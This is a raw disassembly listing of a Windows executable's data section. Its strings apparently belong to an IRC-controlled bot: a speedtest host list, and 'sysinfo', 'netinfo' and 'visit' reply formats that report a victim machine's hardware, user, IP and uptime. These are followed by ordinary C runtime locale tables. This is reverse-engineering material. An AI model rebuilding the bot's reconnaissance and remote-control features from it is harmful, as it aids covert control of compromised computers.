aDe_yahoo_com db 'de.yahoo.com',0 ; DATA XREF: sub_41B33E+3Fo
align 4
aWww_google_it db 'www.google.it',0 ; DATA XREF: sub_41B33E+46o
align 4
aWww_xo_net db 'www.xo.net',0 ; DATA XREF: sub_41B33E+4Do
align 10h
aWww_stanford_e db 'www.stanford.edu',0 ; DATA XREF: sub_41B33E+54o
align 4
aWww_verio_com db 'www.verio.com',0 ; DATA XREF: sub_41B33E+5Bo
align 4
aWww_nocster_co db 'www.nocster.com',0 ; DATA XREF: sub_41B33E+62o
aWww_rit_edu db 'www.rit.edu',0 ; DATA XREF: sub_41B33E+69o
aWww_cogentco_c db 'www.cogentco.com',0 ; DATA XREF: sub_41B33E+70o
align 4
aWww_burst_net db 'www.burst.net',0 ; DATA XREF: sub_41B33E+77o
align 4
aNitro_ucsc_edu db 'nitro.ucsc.edu',0 ; DATA XREF: sub_41B33E+7Eo
align 4
aWww_level3_com db 'www.level3.com',0 ; DATA XREF: sub_41B33E+85o
align 4
aWww_above_net db 'www.above.net',0 ; DATA XREF: sub_41B33E+8Co
align 4
aWww_easynews_c db 'www.easynews.com',0 ; DATA XREF: sub_41B33E+93o
align 4
aWww_google_com db 'www.google.com',0 ; DATA XREF: sub_41B33E+9Ao
align 4
aWww_lib_nthu_e db 'www.lib.nthu.edu.tw',0 ; DATA XREF: sub_41B33E+A1o
aWww_st_lib_kei db 'www.st.lib.keio.ac.jp',0 ; DATA XREF: sub_41B33E+A8o
align 4
aWww_d1asia_com db 'www.d1asia.com',0 ; DATA XREF: sub_41B33E+AFo
align 4
aWww_nifty_com db 'www.nifty.com',0 ; DATA XREF: sub_41B33E+B6o
align 4
aYahoo_co_jp db 'yahoo.co.jp',0 ; DATA XREF: sub_41B33E+BDo
aWww_google_co_ db 'www.google.co.jp',0 ; DATA XREF: sub_41B33E+C4o
align 8
dword_4514F8 dd 234032Dh, 65657073h, 73657464h, 2D030274h, 75450220h
; DATA XREF: sub_41B33E+1A7o
dd 65706F72h, 25203A02h, 626B2064h, 732F7469h, 53550220h
dd 203A0241h, 6B206425h, 2F746962h, 41022073h, 2616973h
dd 6425203Ah, 69626B20h, 20732F74h, 65764102h, 65676172h
dd 25203A02h, 626B2064h, 732F7469h, 0
dword_451558 dd 20646425h, 20686425h, 6D6425h ; DATA XREF: sub_41B51B+39o
dword_451564 dd 3539h ; DATA XREF: sub_41B6C1+46o
dword_451568 dd 544Eh ; DATA XREF: sub_41B6C1+5Ao
dword_45156C dd 3839h ; DATA XREF: sub_41B6C1+6Co
dword_451570 dd 454Dh ; DATA XREF: sub_41B6C1+7Eo
dword_451574 dd 4B32h ; DATA XREF: sub_41B6C1+98o
dword_451578 dd 5058h ; DATA XREF: sub_41B6C1+AAo
a2003 db '2003',0 ; DATA XREF: sub_41B6C1+BAo
align 4
a??? db '???',0 ; DATA XREF: sub_41B6C1:loc_41B784o
aSS_6 db '%s (%s)',0 ; DATA XREF: sub_41B6C1+EBo
word_451590 dw 3Fh ; DATA XREF: sub_41B6C1:loc_41B7C3r
align 4
aCouldnTResolve db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_41B6C1:loc_41B825o
align 4
aDdMmmYyyy db 'dd:MMM:yyyy',0 ; DATA XREF: sub_41B6C1+192o
aHhMmSs_0 db 'HH:mm:ss',0 ; DATA XREF: sub_41B6C1+1AEo
align 8
dword_4515C8 dd 234032Dh, 69737973h, 26F666Eh, 2202D03h, 2555043h, 4925203Ah
; DATA XREF: sub_41B6C1+297o
dd 4D753436h, 202E7A48h, 4D415202h, 25203A02h, 20424B73h
dd 61746F74h, 25202C6Ch, 20424B73h, 65657266h, 4402202Eh
dd 26B7369h, 7325203Ah, 746F7420h, 202C6C61h, 66207325h
dd 2E656572h, 534F0220h, 57203A02h, 6F646E69h, 25207377h
dd 25282073h, 64252E64h, 7542202Ch, 20646C69h, 2E296425h
dd 79530220h, 72696473h, 25203A02h, 2202E73h, 74736F48h
dd 656D616Eh, 25203A02h, 25282073h, 202E2973h, 72754302h
dd 746E6572h, 65735520h, 203A0272h, 202E7325h, 74614402h
dd 203A0265h, 202E7325h, 6D695402h, 203A0265h, 202E7325h
dd 74705502h, 2656D69h, 7325203Ah, 2Eh
dword_4516A4 dd 20746F4Eh, 6E6E6F63h, 65746365h, 64h ; DATA XREF: sub_41B975+48o
dword_4516B4 dd 6C616944h, 70752Dh ; DATA XREF: sub_41B975+5Eo
off_4516BC dd offset dword_4E414C ; DATA XREF: sub_41B975:loc_41B9E2o
off_4516C0 dd offset loc_412F4D+1 ; DATA XREF: sub_41B975+77o
off_4516C4 dd offset loc_412F4D+1 ; DATA XREF: sub_41B975+88o
dword_4516C8 dd 234032Dh, 6974656Eh, 26F666Eh, 2202D03h, 65707954h
; DATA XREF: sub_41B975+AEo
dd 25203A02h, 25282073h, 202E2973h, 20504902h, 72646441h
dd 2737365h, 7325203Ah, 4802202Eh, 6E74736Fh, 2656D61h
dd 7325203Ah, 2Eh
dword_45170C dd 2A2F2Ah ; DATA XREF: sub_41BA41+3Bo
dword_451710 dd 234032Dh, 69736976h, 2D030274h, 4C525520h, 73697620h
; DATA XREF: sub_41BA41+192o
dd 64657469h, 2Eh
unk_45172C db 2Dh ; - ; DATA XREF: sub_41BA41:loc_41BBDAo
db 3, 34h, 2
db 76h ; v
db 69h, 73h, 69h
db 74h ; t
db 2, 3, 2Dh
aFailedToGetReq db ' Failed to get requested URL from HTTP server.',0
align 4
dword_451768 dd 234032Dh, 69736976h, 2D030274h, 766E4920h, 64696C61h
; DATA XREF: sub_41BA41+1A6o
dd 4C525520h, 2Eh
unk_451784 db 2Dh ; - ; DATA XREF: sub_41BA41:loc_41BBF7o
db 3, 34h, 2
db 76h ; v
db 69h, 73h, 69h
db 74h ; t
db 2, 3, 2Dh
aCouldNotOpenAC db ' Could not open a connection.',0
align 10h
unk_4517B0 db 2Dh ; - ; DATA XREF: sub_41BA41:loc_41BBFEo
db 3, 34h, 2
db 76h ; v
db 69h, 73h, 69h
db 74h ; t
db 2, 3, 2Dh
aFailedToConnec db ' Failed to connect to HTTP server.',0
align 10h
dword_4517E0 dd 1 ; DATA XREF: sub_41BF80+10r
; sub_41BF80+F2r ...
dword_4517E4 dd 25h ; DATA XREF: sub_41BF80:loc_41BFCCr
; sub_41BF80:loc_41C135r ...
dword_4517E8 dd 0FFFFFFFFh ; DATA XREF: sub_41BF80+58r
; sub_41C3F0+9Er ...
byte_4517EC db 0FDh ; DATA XREF: sub_41BF80+2B7r
; sub_41BF80+2D1r ...
byte_4517ED db 0DDh ; DATA XREF: sub_41CA80+257r
; sub_41CA80+39Br ...
byte_4517EE db 0CDh ; DATA XREF: sub_41BF80+2F1r
; sub_41C3F0+377r
align 10h
off_4517F0 dd offset aFree ; DATA XREF: sub_41CA80+177r
; sub_41CA80+1DDr ...
; "Free"
dd offset dword_43C514+20h
dd offset dword_43C514+1Ch
dd offset dword_43C514+14h
dd offset dword_43C514+0Ch
align 10h
dword_451810 dd 173Fh ; DATA XREF: sub_41FFF0+Br
dd 9875h, 9873h
off_45181C dd offset sub_420130 ; DATA XREF: sub_41E860+3r
; sub_41E860+Cr
dd offset sub_420160
dd offset sub_420160
dword_451828 dd 1B3Fh ; DATA XREF: sub_420210+Br
dword_45182C dd 19930520h, 4 dup(0) ; DATA XREF: sub_4207FD+2o
; sub_420806+2o
off_451840 dd offset sub_41E8C0 ; DATA XREF: sub_422270+22r
dword_451844 dd 2 ; DATA XREF: sub_42FEE0+15r
; sub_42FF30+86r ...
off_451848 dd offset dword_4F3A20 ; DATA XREF: sub_4222D0+B3o
; sub_422420+3o ...
align 10h
dd offset dword_4F3A20
dd 101h
dword_451858 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_4222D0+11Cw
dd 1000h, 0
dword_451868 dd 3 dup(0) ; DATA XREF: sub_427CE0+111o
; sub_429C90:loc_429CE3o
dd 2, 0FFFFFFFFh, 3 dup(0)
dword_451888 dd 3 dup(0) ; DATA XREF: sub_427CE0+11Ao
; sub_429C90:loc_429CF5o
dd 2, 0FFFFFFFFh, 83h dup(0)
dword_451AA8 dd 8 dup(0) ; DATA XREF: sub_422420+Co
; sub_422490+Co
dword_451AC8 dd 0FFFFFFFFh ; DATA XREF: sub_422610+80o
; sub_422610+108o ...
dword_451ACC dd 2 ; DATA XREF: _0:0042252Er _0:00422549r ...
dd 2 dup(4)
dword_451AD8 dd 0FFFFFFFFh ; DATA XREF: _0:00422590r _0:0042259Cr ...
dd 2 dup(0FFFFFFFFh)
off_451AE4 dd offset aWarning ; DATA XREF: sub_4229A0+284r
; "Warning"
dd offset aError ; "Error"
dd offset dword_43CDF4+8
dword_451AF0 dd 0 ; DATA XREF: sub_4231E0+1Fr
; sub_4231E0+44r ...
off_451AF4 dd offset dword_4F3380 ; DATA XREF: sub_4231A0+29r
; sub_4231E0+8Fr
dd 7 dup(0)
off_451B14 dd offset dword_4F33B0 ; DATA XREF: sub_4231A0+1Cr
; sub_4231E0:loc_423249r
dd 3 dup(0)
off_451B24 dd offset dword_4F33C8 ; DATA XREF: sub_4231A0+Fr
; sub_4231E0+75r
dd 3 dup(0)
off_451B34 dd offset byte_4F3398 ; DATA XREF: sub_4231A0+3r
; sub_4231E0+82r
dd 7 dup(0)
dd 0AA27F8h, 16h dup(0)
off_451BB0 dd offset sub_423610 ; DATA XREF: sub_41BF80+79r
; sub_41C3F0+C1r ...
align 8
off_451BB8 dd offset off_451BB8 ; DATA XREF: sub_425D50+Fo
; sub_425D50+7Ao ...
off_451BBC dd offset off_451BB8 ; DATA XREF: sub_425D50:loc_425DE6r
; sub_425D50+9Fw ...
dd offset dword_451BD0
dd offset dword_451BD0
dword_451BC8 dd 0FFFFFFFFh ; DATA XREF: sub_425D50+6r
; sub_425F30:loc_425F97w
dd 0FFFFFFFFh
dword_451BD0 dd 0F0h, 0F1h, 800h dup(0) ; DATA XREF: _2:00451BC0o
; _2:00451BC4o
off_453BD8 dd offset off_451BB8 ; DATA XREF: sub_425F30+17r
; sub_425F30+28w ...
dword_453BDC dd 1E0h ; DATA XREF: sub_4234C0+AEr
; sub_423620+146r ...
dd 10h
off_453BE4 dd offset word_453BEE ; DATA XREF: sub_41DF10+7Cr
; sub_41E610+2Dr ...
off_453BE8 dd offset word_453BEE ; DATA XREF: sub_434A80+2A4w
; sub_434A80+35Bw ...
db 2 dup(0)
word_453BEE dw 20h ; DATA XREF: sub_434A80:loc_434DD1o
; sub_434A80+35Bo ...
unicode 0, < ((((( H>
dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0)
dword_453DF0 dd 1 ; DATA XREF: sub_41DF10+4Er
; sub_41E610:loc_41E616r ...
byte_453DF4 db 2Eh ; DATA XREF: sub_429E90:loc_42AD17r
; sub_429E90+ED2r ...
align 4
dword_453DF8 dd 1 ; DATA XREF: sub_4342F0+169w
; sub_4342F0+296w
off_453DFC dd offset aNull_0 ; DATA XREF: sub_427F60:loc_4283A2r
; sub_427F60+57Cr
; "(null)"
off_453E00 dd offset aNull ; DATA XREF: sub_427F60+514r
; "(null)"
dword_453E04 dd 3 ; DATA XREF: sub_428E00+Fw
; sub_428E00+14r ...
byte_453E08 db 1 ; DATA XREF: sub_4290B0+12Fr
db 2, 4, 8
align 10h
dword_453E10 dd 3A4h ; DATA XREF: sub_4290B0+7Er
word_453E14 dw 8260h ; DATA XREF: sub_4290B0+192r
dw 8279h
dd 21h, 0
dword_453E20 dd 0DFA6h ; DATA XREF: sub_4290B0+D5r
align 8
dd 0A5A1h, 0
dd 0FCE09F81h, 0
dd 0FC807E40h, 0
dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
dd 0FE81h, 0
dd 0FE40h, 0
dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
dd 0FE81h, 0
dd 0FE41h, 0
dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
dd 0FE81h, 0
dd 0FEA17E40h, 0
dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dword_453F00 dd 1 ; DATA XREF: sub_4299F0+2Cr
dword_453F04 dd 16h ; DATA XREF: sub_4299F0+3Dr
dd 2 dup(2), 3, 2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
dd 9, 0Ch, 0Ah, 7, 0Bh, 8, 0Ch, 16h, 0Dh, 16h, 0Fh, 2
dd 10h, 0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h, 2, 41h
dd 0Dh, 43h, 2, 50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
dd 59h, 0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h, 9, 6, 16h
dd 80h, 0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
dd 29h, 9Eh, 0Dh, 0A1h, 2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
dd 11h, 0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
dword_454068 dd 0D2D0920h, 5Dh ; DATA XREF: sub_429E90:loc_42A2B2o
dword_454070 dd 5Dh, 0 ; DATA XREF: sub_429E90:loc_42A28Do
dword_454078 dd 14h ; DATA XREF: sub_42BF40+1Fr
off_45407C dd offset aExp ; DATA XREF: sub_42BF40+2Er
; "exp"
dd 1Dh, 43D2E4h, 1Ah, 43D2E0h, 1Bh, 43D2D8h, 1Fh, 43D2D0h
dd 13h, 43D2C8h, 21h, 43D2C0h, 0Eh, 43D2B8h, 0Dh, 43D2B0h
dd 0Fh, 43D2A8h, 10h, 43D2A0h, 5, 43D298h, 1Eh, 43D294h
dd 12h, 43D290h, 20h, 43D28Ch, 0Ch, 43D284h, 0Bh, 43D27Ch
dd 15h, 43D274h, 1Ch, 43D26Ch, 19h, 43D264h, 11h, 43D25Ch
dd 18h, 43D254h, 16h, 43D24Ch, 17h, 43D244h, 22h, 43D240h
dd 23h, 43D23Ch, 24h, 43D238h
dbl_454150 dq 1.797693134862316e308 ; DATA XREF: sub_42BAE0+E4r
; sub_42BAE0:loc_42BBD7r ...
dd 0
dd 0FFF80000h
dbl_454160 dq 1.797693134862316e308 ; DATA XREF: sub_42BAE0:loc_42BC1Ar
; sub_42BAE0+167r ...
dd 0
dd 100000h, 0
dd 80000000h
tbyte_454178 dt 2.3562723457267347066e313 ; DATA XREF: sub_42C330+13r
; sub_42C330+2Ar
align 4
tbyte_454184 dt 1.9149954921904370718e-1233 ; DATA XREF: sub_42C330+41r
align 10h
off_454190 dd offset sub_42CB20 ; DATA XREF: sub_420170+3w
; sub_427F60+6ADr
off_454194 dd offset sub_42C530 ; DATA XREF: sub_420170+Dw
; sub_427F60+6F1r
off_454198 dd offset sub_42C640 ; DATA XREF: sub_420170+17w
; sub_429E90+1138r
off_45419C dd offset sub_42C480 ; DATA XREF: sub_420170+21w
; sub_427F60+6CFr
off_4541A0 dd offset sub_42C610 ; DATA XREF: sub_420170+2Bw
off_4541A4 dd offset sub_42CB20 ; DATA XREF: sub_420170+35w
dd offset sub_432EE0
align 10h
off_4541B0 dd offset sub_42D860 ; DATA XREF: sub_42D910+2Dr
; sub_42D910+3Dr
dword_4541B4 dd 43h ; DATA XREF: sub_42DE80:loc_42DFECo
; _2:004542D0o ...
dword_4541B8 dd 43h, 20h dup(0) ; DATA XREF: sub_42E120+8Do
; sub_42E120+117o ...
dword_45423C dd 43h, 20h dup(0) ; DATA XREF: sub_42E120+74o
; sub_42E120+FCo ...
off_4542C0 dd offset aLc_all ; DATA XREF: _0:0042DC0Fr _0:0042DC28r ...
; "LC_ALL"
dword_4542C4 dd 0 ; DATA XREF: _0:0042DB07r _0:0042DDB0r ...
off_4542C8 dd offset sub_42E2B0 ; DATA XREF: sub_42DE80+12Br
dd offset aLc_collate ; "LC_COLLATE"
dd offset dword_4541B4
dd offset sub_434E20
dd offset aLc_ctype ; "LC_CTYPE"
off_4542DC dd offset dword_4541B4 ; DATA XREF: sub_42E020+F0r
dd offset sub_434A80
dd offset aLc_monetary ; "LC_MONETARY"
dd offset dword_4541B4
dd offset sub_434620
dd offset aLc_numeric ; "LC_NUMERIC"
dd offset dword_4541B4
dd offset sub_4342F0
dd offset aLc_time ; "LC_TIME"
dd offset dword_4541B4
dd offset sub_433970
dword_454308 dd 0C0000005h, 0Bh, 0 ; DATA XREF: sub_428EC0+6o
; _0:0042904Eo ...
dd 0C000001Dh, 4, 0
dd 0C0000096h, 4, 0
db 8Dh, 0
dw 0C000h
dd 8, 0
dd 0C000008Eh, 8, 0
dd 0C000008Fh, 8, 0
db 90h
db 2 dup(0), 0C0h
dd 8, 0
dd 0C0000091h, 8, 0
dd 0C0000092h, 8, 0
dd 0C0000093h, 8, 0
dword_454380 dd 3 ; DATA XREF: sub_42EFB0+98r
; sub_42EFB0:loc_42F05Br ...
dword_454384 dd 7 ; DATA XREF: sub_42EFB0+B1r
; sub_4307E0+17Dr
dword_454388 dd 78h ; DATA XREF: _0:00430658r _0:00430676r
dword_45438C dd 0Ah ; DATA XREF: sub_42F170+1Dr
; sub_42F170:loc_42F1A2r ...
dword_454390 dd 0FFFFFFFFh, 0A00h, 8 dup(0) ; DATA XREF: sub_427100:loc_427256o
; sub_427CE0:loc_427ED9o
dword_4543B8 dd 2 ; DATA XREF: sub_42FF30+2Ar
; sub_42FF30+3Dr ...
off_4543BC dd offset aR6002FloatingP ; DATA XREF: sub_42FF30+56r
; sub_42FF30+98r ...
; "R6002\r\n- floating point not loaded\r\n"
dd 8, 43D694h, 9, 43D668h, 0Ah, 43D644h, 10h, 43D618h
dd 11h, 43D5E8h, 12h, 43D5C4h, 13h, 43D598h, 18h, 43D560h
dd 19h, 43D538h, 1Ah, 43D500h, 1Bh, 43D4C8h, 1Ch, 43D4A0h
dd 78h, 43D490h, 79h, 43D480h, 7Ah, 43D470h, 0FCh, 43D46Ch
dd 0FFh, 43D45Ch, 2 dup(0)
dword_454450 dd 2694h ; DATA XREF: sub_42B3B0+3r
; _0:0042B41Fr ...
align 8
dword_454458 dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA XREF: sub_432A20+3o
dword_454470 dd 80h, 0FFFFFF81h, 18h, 8, 20h, 7Fh ; DATA XREF: sub_432A40+3o
dword_454488 dd 7080h ; DATA XREF: sub_42D9A0+92r
; sub_433090+80w ...
dword_45448C dd 1 ; DATA XREF: sub_42D9A0+C2r
; sub_433090+BFw ...
dword_454490 dd 0FFFFF1F0h ; DATA XREF: sub_42D9A0+DEr
; sub_433090+D7w ...
dword_454494 dd 545350h, 0Fh dup(0) ; DATA XREF: _2:off_454514o
dword_4544D4 dd 544450h, 0Fh dup(0) ; DATA XREF: _2:off_454518o
off_454514 dd offset dword_454494 ; DATA XREF: sub_433090+FAr
; sub_433090+123r ...
off_454518 dd offset dword_4544D4 ; DATA XREF: sub_433090+140r
; sub_433090+16Ar ...
align 10h
dword_454520 dd 0FFFFFFFFh ; DATA XREF: sub_433090+30w
; sub_433470+1Ar ...
dword_454524 dd 0 ; DATA XREF: sub_433470:loc_43366Br
; sub_433470+20Fr ...
dword_454528 dd 0 ; DATA XREF: sub_433470+2CFr
; sub_433770+13Dw
align 10h
dword_454530 dd 0FFFFFFFFh ; DATA XREF: sub_433090+21w
; sub_433090+2Br ...
dword_454534 dd 0 ; DATA XREF: sub_433470+201r
; sub_433470+21Dr ...
dword_454538 dd 0 ; DATA XREF: sub_433470+2E5r
; sub_433770+1Dr ...
dword_45453C dd 0FFFFFFFFh ; DATA XREF: sub_433770+B0r
dd 1Eh, 3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h, 0F3h, 111h, 130h
dd 14Eh
dword_45456C dd 16Dh ; DATA XREF: sub_42D9A0+2Er
; sub_433770+2Cr ...
dword_454570 dd 0FFFFFFFFh ; DATA XREF: sub_433770+BFr
dd 1Eh, 3Ah, 59h, 77h, 96h, 0B4h, 0D3h, 0F2h, 110h, 12Fh
dd 14Dh, 16Ch, 3 dup(0)
dword_4545B0 dd 40Ah ; DATA XREF: sub_4359D0+3Er
; sub_4359D0+147r
a040a db '040a',0 ; DATA XREF: sub_4359D0+9Ao
align 4
off_4545BC dd offset aSpanishTraditi ; DATA XREF: sub_4359D0+ABr
; "Spanish - Traditional Sort"
off_4545C0 dd offset loc_505345 ; DATA XREF: sub_4359D0+BCo
off_4545C4 dd offset aSpain ; DATA XREF: sub_4359D0+CDr
; "Spain"
off_4545C8 dd offset loc_505345 ; DATA XREF: sub_4359D0+DEo
dword_4545CC dd 303538h, 0 ; DATA XREF: sub_4359D0+EFo
a1252 db '1252',0 ; DATA XREF: sub_4359D0+100o
align 4
dd 40Bh, 62303430h, 0
dd offset aFinnish ; "Finnish"
dd offset word_4E4946
dd offset aFinland ; "Finland"
dd offset word_4E4946
dd 303538h, 0
a1252_0 db '1252',0
align 4
dd 40Ch, 63303430h, 0
dd offset aFrench ; "French"
dd offset loc_415246
dd offset aFrance ; "France"
dd offset loc_415246
dd 303538h, 0
a1252_1 db '1252',0
align 4
dd 40Fh, 66303430h, 0
dd offset aIcelandic ; "Icelandic"
dd offset byte_4C5349
dd offset aIceland ; "Iceland"
dd offset byte_4C5349
dd 303538h, 0
a1252_2 db '1252',0
align 10h
dd 41Dh, 64313430h, 0
dd offset aSwedish ; "Swedish"
dd offset byte_455653
dd offset aSweden ; "Sweden"
dd offset byte_455753
dd 303538h, 0
a1252_3 db '1252',0
align 4
dd 42Dh, 64323430h, 0
dd offset aBasque ; "Basque"
dd offset byte_515545
dd offset aSpain ; "Spain"
dd offset loc_505345
dd 303538h, 0
a1252_4 db '1252',0
align 4
db 0Ah
db 8,0
align 4
a080a db '080a',0
align 4
dd offset aSpanish ; "Spanish"
dd offset byte_4D5345
dd offset aMexico ; "Mexico"
dd 58454Dh, 303538h, 0
a1252_5 db '1252',0
align 4
dd 80Ch, 63303830h, 0
dd offset aFrench ; "French"
dd offset loc_425244+2
dd offset aBelgium ; "Belgium"
dd offset word_4C4542
dd 303538h, 0
a1252_6 db '1252',0
align 10h
dd 0C07h, 37306330h, 0
dd offset aGerman ; "German"
dd offset loc_414542+2
dd offset aAustria ; "Austria"
dd 545541h, 303538h, 0
a1252_7 db '1252',0
align 4
dd 0C09h, 39306330h, 0
dd offset aEnglish ; "English"
dd offset loc_414E40+5
dd offset aAustralia ; "Australia"
dd 535541h, 303538h, 0
a1252_8 db '1252',0
align 4
dd 0C0Ah, 61306330h, 0
dd offset aSpanishModernS ; "Spanish - Modern Sort"
dd offset byte_4E5345
dd offset aSpain ; "Spain"
dd offset loc_505345
dd 303538h, 0
a1252_9 db '1252',0
align 4
dd 0C0Ch, 63306330h, 0
dd offset aFrench ; "French"
dd offset loc_435240+6
dd offset aCanada ; "Canada"
dd offset byte_4E4143
dd 303538h, 0
a1252_10 db '1252',0
align 10h
dd 100Ah, 61303031h, 0
dd offset aSpanish ; "Spanish"
dd offset byte_475345
dd offset aGuatemala ; "Guatemala"
dd offset byte_4D5447
dd 303538h, 0
a1252_11 db '1252',0
align 4
dd 100Ch, 63303031h, 0
dd offset aFrench ; "French"
dd 535246h, 43D8DCh, 454843h, 303538h, 0
a1252_12 db '1252',0
align 4
dd 140Ah, 61303431h, 0
dd offset aSpanish ; "Spanish"
dd offset loc_435343+2
dd offset aCostaRica ; "Costa Rica"
dd offset byte_495243
dd 303538h, 0
a1252_13 db '1252',0
align 4
dd 140Ch, 63303431h, 0
dd offset aFrench ; "French"
dd offset word_4C5246
dd offset aLuxembourg ; "Luxembourg"
dd 58554Ch, 303538h, 0
a1252_14 db '1252',0
align 10h
dd 180Ah, 61303831h, 0
dd offset aSpanish ; "Spanish"
dd offset loc_41533E+7
dd offset aPanama ; "Panama"
dd offset dword_4E4150
dd 303538h, 0
a1252_15 db '1252',0
align 4
dd 1C09h, 39306331h, 0
dd offset aEnglish ; "English"
dd 534E45h, 43D8ACh, 46415Ah, 373334h, 0
a1252_16 db '1252',0
align 4
dd 1C0Ah, 61306331h, 0
dd offset aSpanish ; "Spanish"
dd offset aHallowell+1
dd offset aDominicanRepub ; "Dominican Republic"
dd offset dword_4D4F44
dd 303538h, 0
a1252_17 db '1252',0
align 4
db 0Ah
db ' ',0
align 4
a200a db '200a',0
align 10h
dd offset aSpanish ; "Spanish"
dd 565345h, 43D88Ch, 4E4556h, 303538h, 0
a1252_18 db '1252',0
align 10h
db 0Ah
db '$',0
align 4
a240a db '240a',0
align 4
dd offset aSpanish ; "Spanish"
dd offset off_4F5344+1
dd offset aColombia ; "Colombia"
dd offset byte_4C4F43
dd 303538h, 0
a1252_19 db '1252',0
align 4
db 0Ah
db '(',0
align 10h
a280a db '280a',0
align 4
dd offset aSpanish ; "Spanish"
dd 525345h, 43D878h, 524550h, 303538h, 0
a1252_20 db '1252',0
align 4
db 0Ah
db ',',0
align 4
a2c0a db '2c0a',0
align 4
dd offset aSpanish ; "Spanish"
dd 535345h, 43D86Ch, 475241h, 303538h, 0
a1252_21 db '1252',0
align 4
a0_0 db 0Ah
db '0',0
align 4
a300a db '300a',0
align 10h
dd offset aSpanish ; "Spanish"
dd offset byte_465345
dd offset aEcuador ; "Ecuador"
dd 554345h, 303538h, 0
a1252_22 db '1252',0
align 10h
a4 db 0Ah
db '4',0
align 4
a340a db '340a',0
align 4
dd offset aSpanish ; "Spanish"
dd offset byte_4C5345
dd offset aChile ; "Chile"
dd offset byte_4C4843
dd 303538h, 0
a1252_23 db '1252',0
align 4
a8 db 0Ah
db '8',0
align 10h
a380a db '380a',0
align 4
dd offset aSpanish ; "Spanish"
dd 595345h, 43D854h, 595255h, 303538h, 0
a1252_24 db '1252',0
align 4
db 0Ah
db '<',0
align 4
a3c0a db '3c0a',0
align 4
dd offset aSpanish ; "Spanish"
dd 5A5345h, 43D848h, 595250h, 303538h, 0
a1252_25 db '1252',0
align 4
word_454A54 dw 0C0Ch, 0C1Ah, 1007h, 436h, 80Ch, 42Dh, 403h, 100Ch
; DATA XREF: sub_4358A0+34r
dw 810h, 81Dh
off_454A68 dd offset aAmerica ; DATA XREF: sub_434EB0+9Co
; "america"
dd offset loc_415355
dd offset aBritain ; "britain"
dd 524247h, 43DA9Ch, 4E4843h, 43DA94h, 455A43h, 43DA8Ch
dd 524247h, 43DA7Ch, 524247h, 43DA74h, 444C4Eh, 43DA68h
dd 474B48h, 43DA5Ch, 4C5A4Eh, 43DA58h, 4C5A4Eh, 43DA4Ch
dd 4E4843h, 43DA40h, 4E4843h, 43DA34h, 495250h, 43DA2Ch
dd 4B5653h, 43DA1Ch, 46415Ah, 43DA10h, 524F4Bh, 43DA00h
dd 46415Ah, 43D9F4h, 524F4Bh, 43D9E0h, 4F5454h, 43DABCh
dd 524247h, 43D9D0h, 524247h, 43D9C0h, 415355h, 43DAB8h
dd 415355h
off_454B20 dd offset aAmerican ; DATA XREF: sub_434EB0+67o
; "american"
dd 554E45h, 43DEA8h, 554E45h, 43DE94h, 554E45h, 43DE88h
dd 414E45h, 43DE80h, 424C4Eh, 43DE74h, 434E45h, 43DE70h
dd 48485Ah, 43DE6Ch, 49485Ah, 43DE64h, 534843h, 43DE50h
dd 48485Ah, 43DE3Ch, 534843h, 43DE28h, 49485Ah, 43DE14h
dd 544843h, 43DE04h, 424C4Eh, 43DDF0h, 554E45h, 43DDE4h
dd 414E45h, 43DDD4h, 4C4E45h, 43DDC8h, 434E45h, 43DDB4h
dd 424E45h, 43DDA8h, 494E45h, 43DD98h, 4A4E45h, 43DD8Ch
dd 5A4E45h, 43DD74h, 534E45h, 43DD58h, 544E45h, 43DD4Ch
dd 474E45h, 43DD40h, 554E45h, 43DD34h, 554E45h, 43DD24h
dd 425246h, 43DD14h, 435246h, 43DD00h, 4C5246h, 43DCF0h
dd 535246h, 43DCE0h, 414544h, 43DCCCh, 434544h, 43DCB8h
dd 4C4544h, 43DCA8h, 534544h, 43DC98h, 494E45h, 43DC88h
dd 535449h, 43DC7Ch, 524F4Eh, 43DC68h, 524F4Eh, 43DC54h
dd 4E4F4Eh, 43DC3Ch, 425450h, 43DC28h, 535345h, 43DC18h
dd 425345h, 43DC08h, 4C5345h, 43DBF4h, 4F5345h, 43DBE0h
dd 435345h, 43DBC4h, 445345h, 43DBB4h, 465345h, 43DBA0h
dd 455345h, 43DB8Ch, 475345h, 43DB78h, 485345h, 43DB68h
dd 4D5345h, 43DB58h, 4E5345h, 43DB44h, 495345h, 43DB34h
dd 415345h, 43DB20h, 5A5345h, 43DB10h, 525345h, 43DAFCh
dd 555345h, 43DAECh, 595345h, 43DAD8h, 565345h, 43DAC8h
dd 465653h, 43DAC0h, 534544h, 43DABCh, 474E45h, 43DAB8h
dd 554E45h, 43DAB4h, 554E45h
off_454D28 dd offset off_454D30 ; DATA XREF: sub_433970+70w
; sub_433970:loc_433A11w ...
align 10h
off_454D30 dd offset aSun ; DATA XREF: sub_433970:loc_433A11o
; _2:off_454D28o
; "Sun"
dd offset aMon ; "Mon"
dd offset aTue ; "Tue"
dd offset aWed ; "Wed"
dd offset aThu ; "Thu"
dd offset aFri ; "Fri"
dd offset aSat ; "Sat"
dd offset aSunday ; "Sunday"
dd offset aMonday ; "Monday"
dd offset aTuesday ; "Tuesday"
dd offset aWednesday ; "Wednesday"
dd offset aThursday ; "Thursday"
dd offset aFriday ; "Friday"
dd offset aSaturday ; "Saturday"
dd offset aJan ; "Jan"
dd offset aFeb ; "Feb"
dd offset aMar ; "Mar"
